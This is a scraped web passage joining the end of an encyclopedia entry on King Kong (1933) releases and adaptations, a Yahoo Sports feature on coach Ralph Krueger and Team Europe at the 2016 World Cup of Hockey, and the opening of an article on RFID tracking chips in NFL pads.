In 2005 Warner Bros released their digital restoration of King Kong in a US 2-disc Special Edition DVD, coinciding with the theatrical release of Peter Jackson's remake. It had numerous extra features, including a new, third audio commentary by visual effects artists Ray Harryhausen and Ken Ralston, with archival excerpts from actress Fay Wray and producer/director Merian C. Cooper. Warners issued identical DVDs in 2006 in Australia and New Zealand, followed by a US digibook-packaged Blu-ray in 2010.[83] In 2014 the Blu-ray was repackaged with three unrelated films in a 4 Film Favorites: Colossal Monster Collection.
At present, Universal holds worldwide rights to Kong's home video releases outside of the US, Australia and New Zealand. All Universal's releases only contain their earlier, 100 minute, pre-2005 restoration.[80] However, in the UK, Warner Home Video released the film digitally and on Blu-Ray & DVD in early 2017. The Blu-Ray contained the same contents as the US release, but unfortunately for the DVD, that was based on the first Disc of the 2-Disc DVD release.
Adaptations [ edit ]
The 1933 King Kong film and character inspired imitations and installments. Son of Kong, a direct sequel to the 1933 film was released nine months after the first film's release. In the early 1960s, RKO had licensed the King Kong character to Japanese studio Toho and produced two King Kong films, King Kong vs. Godzilla (a crossover with the Godzilla series) and King Kong Escapes, both directed by Ishirō Honda.
In 1976, Italian producer Dino De Laurentiis released his version of King Kong, a modern remake of the 1933 film, which was followed by a sequel in 1986 titled King Kong Lives. In 2005, Universal Pictures released another remake of King Kong, directed by Peter Jackson. Legendary Pictures and Warner Bros. released a Kong reboot film titled Kong: Skull Island in 2017 which was directed by Jordan Vogt-Roberts and is the second installment of a shared universe called the MonsterVerse, which started with Legendary's reboot of Godzilla.
See also [ edit ]
References [ edit ]Team Europe’s head coach Ralph Krueger (Getty Images)
TORONTO – There are similarities between Ralph Krueger and Mike Babcock. Their international success as hockey coaches. Their cerebral, psychological approach to the game. Their wry humor in postgame press conferences.
And also water skiing.
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Water skiing?
“We’re both fanatic water skiers, so we compare our best water ski results on a regular basis, and that’s all we’ve talked about when we run into each other here,” said Krueger, head coach of Team Europe at the World Cup of Hockey.
“He loves water skiing. I love water skiing. His daughter’s one of the best in the world, so I follow her,” said Babcock, head coach of Team Canada at the World Cup of Hockey.
Babcock and Krueger are meeting in the World Cup of Hockey final, a best of three series beginning on Tuesday night between the tournament host – a juggernaut that’s trailed 89 seconds in its four wins – and an underdog European team that was created for wayward players that didn’t have their nations represented in the tournament.
The job Babcock has done for Canada is extraordinary: Managing one of the greatest assemblages of talent ever (and their egos), fine-tuning their machine to the point of effortlessness on the ice. Canada won Olympic gold in Vancouver and Sochi with much of the same core of players, and has dominated the World Cup.
The job Krueger has done is equally extraordinary, and more apparent: Turning a disparate collection of players from over a half-dozen hockey nations in a winning team in a matter of weeks, shocking hockey nations like the United States and Sweden along the way.
And now, for his last trick, Krueger has a chance to score what would be one of the biggest upsets in sports history: Taking out Canada, which might not be completely implausible for Krueger.
Story continues
Because he’s done it before. Because he has intimate knowledge of how Team Canada operates. Because Mike Babcock let him peek behind the curtain.
***
Krueger has coached internationally since 1998. His tenure as head coach of the Swiss national team produced Olympic appearances in 2002, 2006 and 2010. He took a team with few offensive weapons and great goaltending, and he turned it into a dangerous tournament team. (Sound familiar, World Cup fans?)
It was in 2006, in Turin, when Krueger’s Swiss team scored “one of the most startling upsets of the modern Olympic era” according to the New York Times: a 2-0 win to eliminate Canada, in which goalie Martin Gerber made 49 saves. The team had only one NHL non-goalie on its roster.
“I never thought we could do that,” said Mark Streit, the Swiss captain, who is playing for Team Europe in the World Cup under Krueger, “but anything is possible in sports.”
INNSBRUCK, AUSTRIA – MAY 12: Head coach Ralph Krueger of Switzerland talks to the referee during the game against Sweden in the IIHF World Men’s Championships quarterfinal game at the Olympic Hall on May 12, 2005 in Innsbruck, Austria. (Photo by Bruce Bennett/Getty Images)
Four years later, it was almost possible again: The Swiss took Canada to a shootout in pool play during the Vancouver Olympics, but fell 3-2 to the hosts.
The Edmonton Oilers had seen enough. They hired Krueger later that year as an associate coach, and then named him head coach for the 2012-13 season.
His tenure would only last one season, going 19-22-7 in the lockout-shortened year. The team’s young core liked him. Management, apparently, didn’t. He was fired after the season by GM Craig MacTavish – infamously, over Skype.
Krueger was still feeling the sting of that firing 12 hours later when his phone rang.
It was Mike Babcock, with an offer.
Tom Renney, with whom Krueger coached in Edmonton, had suggested him as “a guy that might be available for the Olympics.” So Babcock reached out to ask if he would like to join the Team Canada brain trust for the Sochi Games. And Krueger didn’t hesitate to say yes, becoming “Canada’s secret weapon,” according to the Winnipeg Free Press.
In the process, he bonded with Babcock over analyzing the game and Team Canada, after only knowing him informally.
“We would pick the most intense events at Sochi to watch. We would run together. We would speak about hockey nonstop together, and it was the best coaching clinic I could go through with Claude Julien, Ken Hitchcock, Lindy Ruff and Mike Babcock. From the draft in New York right through the Olympic Games I was with them,” he said. “That learning process with Mike and his staff is really a lot of what I brought into Team Europe.”
GM Doug Armstrong of Team Canada said Krueger played a key role in advising the Sochi team that won gold.
“He was a big part of what happened in Sochi. He knows. He sat in. Obviously was part of every coaching meeting, was part of how we were going to beat the European teams,” said Armstrong. “Now he’s got a collection of the European players. He understands how Mike operates. He understands when we were putting that Sochi group together, when Steve Yzerman was putting that Sochi group together, understanding what had success on small ice in Vancouver. So he listened to those meetings on what we thought the difference was, and certainly he’s fully aware of how Mike operates.”
And how his team operates.
***
The World Cup of Hockey has been a chance to reflect on Krueger, both the coach and the man.
The man is an insightful, eloquent citizen of the world. He left hockey for English Premier League football in 2014, becoming the director of Southampton FC and the becoming the club’s chairman. Since 2011, he’s been a member of the World Economic Forum’s Global Agenda Council on New Models of Leadership.
The coach has done a brilliant job with Team Europe, helping to shape its identity. It started early when he was named head coach, laying a foundation with Slovak and Swiss players who were upset their nations weren’t involved in the World Cup as standalones. It continued when players from Norway, Germany, Austria, France, Slovenia and Denmark were added to the locker room.
Krueger’s task was two-fold: Find out how this team needed to play, and find out how to motivate them.
The latter part proved surprisingly easy: Krueger and his players approached the World Cup with enthusiasm, because without Team Europe, they would have never gotten the chance to participate in the “best on best” tournament.
“I’m just so pleased that these peripheral countries in the world of hockey have had an opportunity to compete with the best in the world for the first time in their life and to truly believe in being competitive on the way to a semifinal, and then the overtime showed the belief in the group to get to the final,” said Krueger. “That’s not possible when these players show up alone at tournaments. They’re forever fighting relegation in world tournaments. They’re forever fighting just to get to Olympic Games, forget about competing for anything at them.”
He turned the dial on that motivation ever so slightly as the team found instant success against the Americans in the preliminary round: Not only should they be happy to be there, but should be thrilled with the chance to potentially play for a championship on a team that’s exponentially more talented their own country’s national teams.
“I’m from Austria, and Olympics, World Championships, we don’t have a chance to medal. That’s just the way it is. We battle to stay in the ‘A’ group, and we’re there to win one game, and that’s it,” said Thomas Vanek of Austria. “Being on this Team Europe, to me, it gives me an opportunity to beat teams like we did the other day in the U.S., and move forward. But we’re playing a day at a time. Ralph has done a tremendous job with our group to keep us prepared and stay positive.”
TORONTO, ON – SEPTEMBER 26: Head Coach of Team Europe Ralph Krueger speaks to the media during the World Cup of Hockey 2016 practice sessions at Air Canada Centre on September 26, 2016 in Toronto, Ontario, Canada. (Photo by Minas Panagiotakis/World Cup of Hockey via Getty Images)
As for getting them to play a system, Krueger watched Team Europe get rolled in two games against Team North America in exhibition play. So they tweaked their system, playing a more puck-possession game and hanging back instead of pressing ahead. They would wait for you to make a mistake, and then pounce with their savvy collection of NHL forwards.
The formula worked against Team USA, which overlooked Europe, and against Team Sweden in the semifinals, who played a tentative game for 40 minutes in trying to prevent those mistakes from happening – and, in the process, allowing Europe to go to overtime and eliminate them.
It’s not pretty, and has left the Air Canada Centre in Toronto resembling a mortuary at times. But they’re one of the last two teams standing because of it.
The formula didn’t work, however, in their preliminary loss to Canada, who won 4-1 and absolutely dominated in chances: 83 shot attempts to 53 for Team Europe. But then most formulas don’t work against Canada.
“They’re quite clearly the favorite. The foundation of that group has been built by Mike and the staff since the preparation for Vancouver, and they have so much continuity in the core of that group,” said Krueger in the preliminary round.
Can they be defeated?
“It’ll take a magical day [to beat Canada], it’ll take a world-class goaltending performance, it’ll take something very, very special in a group to be able to beat Canada here on this ice,” he said.
Well, Europe has the goaltending. Jaroslav Halak has been a giant killer, playing the same type of impenetrable netminding that allowed his 2010 Montreal Canadiens to shock the No. 1 seeded Washington Capitals in the Stanley Cup Playoffs, and allowed his Slovak team to upset others in the 2010 Vancouver Olympics.
And they have a coach in Ralph Krueger that’s beaten Canada before, and knows their inner workings, and their coach, better than almost any other coach in the tournament.
“I’ve known Ralph since ’04 world championships. Ralph and I are good friends. We talk a lot. He’s a very, very intelligent person,” said Babcock. “He was a good head coach in the National Hockey League. He’s been around a long time, a good coach in Europe. … He has these guys believing and prepared and in the finals. From where they were at one point when they got lit up a couple of times early to now where they are, he’s done a heck of a job.’’
Krueger said there are parallels to his approach and that of Babcock.
“Mike is not bringing complex systems into the players’ heads to block creativity,” said Krueger. “There’s more similarities than differences between us. I’ve blended the Canadian more with the [European] game.”
The results have been outstanding for Krueger’s team. And now that have a chance to face Babcock and Canada for the championship.
“We want to make it difficult for Canada to win the World Cup and we’d like to get in the way of that,” said Krueger.
***
Win or lose, the World Cup has been a victory for Team Europe and their coach.
As the last non-North American team standing, the coach has taken to calling his squad the one ‘all of Europe’ is pulling for to win.
“In a best-on-best tournament for these countries that are important for the game of hockey, that are future-growth countries for the game, I’m just so pleased for all of them. A lot of the presidents are down there from the eight countries we’re representing, but I think we’re representing all the rest, which is about 12 to 13 countries in Europe that cannot play in the top six, and I think that the pride in that group right now is large,” he said.
“I came in here saying that we hoped that a few young children back in those countries get inspired by what we do and become great NHL players in 10 years or 12 years, and if that happens when I’m old and retired, I hope that it was a part of this tournament that did that.”
As for Krueger, the 57-year-old coach has become a hot commodity. There’s been speculation about his returning to the NHL – hey, if he can beat Canada with the Swiss and push Team Europe into the World Cup Final, couldn’t he get Las Vegas a playoff spot?
But while his heart is in hockey, his head’s not there again yet.
“You should never say never about anything in life. Circumstances change. But I didn’t take this job, hunting for a job,” he said. “At the moment, there’s too much going on with Southampton to think about it.
“For now, let’s enjoy this, and see what the future holds.”
—
Greg Wyshynski is a writer for Yahoo Sports. Contact him at puckdaddyblog@yahoo.com or find him on Twitter. His book, TAKE YOUR EYE OFF THE PUCK, is available on Amazon and wherever books are sold.
MORE FROM YAHOO SPORTSInstant replays will take on a new dimension in the NFL this season, thanks to RFID chips that will be installed in each player's shoulder pads.
You've undoubtedly seen the little radio-frequency identification chips installed on certain merchandise in retail outlets. Retailers have used them for years to track merchandise and prevent shoplifting.
MORE: Speed reigns in SN wide receiver rankings | How RFID can transform fan experience
The RFID chips — which are about the size of a postage stamp — that will be carried by each NFL player work on the same principle, sending out radio signals that are picked up by a series of receivers in each NFL stadium. The receivers then take the information and can show a player’s speed, direction and distance traveled in real-time.
If you've ever watched your favorite team's cornerback get torched on a long pass play and wondered how the receiver got so open, now you'll be able to see the speedy receiver ran downfield at 21.75 mph, while your DB struggled to keep up at 19.41 mph. Other metrics will tell you how far a running back or receiver actually ran on a play.
That data will be available this year |
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